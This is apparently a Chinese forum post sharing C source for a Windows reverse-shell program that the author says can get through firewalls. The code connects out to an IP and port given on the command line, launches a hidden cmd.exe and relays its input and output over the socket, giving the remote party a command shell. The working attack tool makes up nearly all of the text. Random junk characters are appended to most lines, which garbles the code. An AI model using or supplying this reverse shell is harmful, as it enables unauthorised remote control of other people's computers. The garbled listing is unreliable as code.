这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4*cEag
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/* ============================== j@3Q;F0ba
Rebound port in Windows NT r1{@Ucw2
By wind,2006/7 ">,|V-H
===============================*/ LG|fq/;
#include czgO ;3-C
#include "
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#pragma comment(lib,"wsock32.lib") Ww+IWW@
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void OutputShell(); ZI}F om<
SOCKET sClient; ,K"U>&
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]dmrkZz:
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void main(int argc,char **argv) }?_?V&K|
{ qvKG-|j
WSADATA stWsaData; z3m85F%dR
int nRet; u?<%q!
SOCKADDR_IN stSaiClient,stSaiServer; yfjWbW
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if(argc != 3) 6@F9G4<Z
{ sW'AjI
printf("Useage:\n\rRebound DestIP DestPort\n"); dhf!o0'1M
return; u5b|#&-mX
} Y>dzR)~3[
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WSAStartup(MAKEWORD(2,2),&stWsaData); X Dm[Gc>(~
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m6\E$;`
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stSaiClient.sin_family = AF_INET; +YKi,
stSaiClient.sin_port = htons(0); hPkWCoQpq
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); A,Vu\3HS
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) CMG&7(MR
{
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printf("Bind Socket Failed!\n"); S8wLmd>
return; N&+x+;Kx
} $)ijN^hV
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stSaiServer.sin_family = AF_INET; c&?m>2^6
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /}fHt^2H
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {{D)YldtA
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) mt+Oi70
{ 7yH"l9Z
printf("Connect Error!"); }1c|gQ
return; PI:4m%[
} e L^|v
OutputShell(); )D5"ap]fX
} $m{:C;UH
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void OutputShell() 8f)?{AX0
{ Fg5kX
char szBuff[1024]; 0$)>D==
SECURITY_ATTRIBUTES stSecurityAttributes; 6azGhxh
OSVERSIONINFO stOsversionInfo; {JO
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7cT~oV !G_
STARTUPINFO stStartupInfo; %G_B^p4
char *szShell; F^t DL:
PROCESS_INFORMATION stProcessInformation; Vvn2 Ep
unsigned long lBytesRead; 2~1SQ.Q<RY
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); m '|bGV
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); FxtQXu-g
stSecurityAttributes.lpSecurityDescriptor = 0; F|o:W75
stSecurityAttributes.bInheritHandle = TRUE; j_!F*yul
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5j<mbt}
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :uq\+(9
,]ma+(|
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); tqvN0vY5
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a}BYov
stStartupInfo.wShowWindow = SW_HIDE; 6ryak!|[
stStartupInfo.hStdInput = hReadPipe; u~M
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Pw7]r<Q
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GetVersionEx(&stOsversionInfo); z0p*Z&
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switch(stOsversionInfo.dwPlatformId) <EB+1GFuI
{ [#<-ZC#T*
case 1: @fZ,.2ar
szShell = "command.com"; |mdVdD~go
break; (
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default: 3s,g*
szShell = "cmd.exe"; 7a=gH2]&
break; */)c?)"
} o/$}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \=?a/
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send(sClient,szMsg,77,0); 7 S#J>*
while(1) UqFO|r"M
{ ^pAAzr"hv
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); E"\<s3
if(lBytesRead) %Q__!D[
{
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); n/;WxnnQ
send(sClient,szBuff,lBytesRead,0); ]_mb7X>
} =r?hgGWe
else |C;=-|
{ AW%#O\N
lBytesRead=recv(sClient,szBuff,1024,0); ?>D+ge
if(lBytesRead<=0) break; (Du@ S
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Zw
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} IXMop7~
} ~rE|%o
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return; =\&;Fi]
}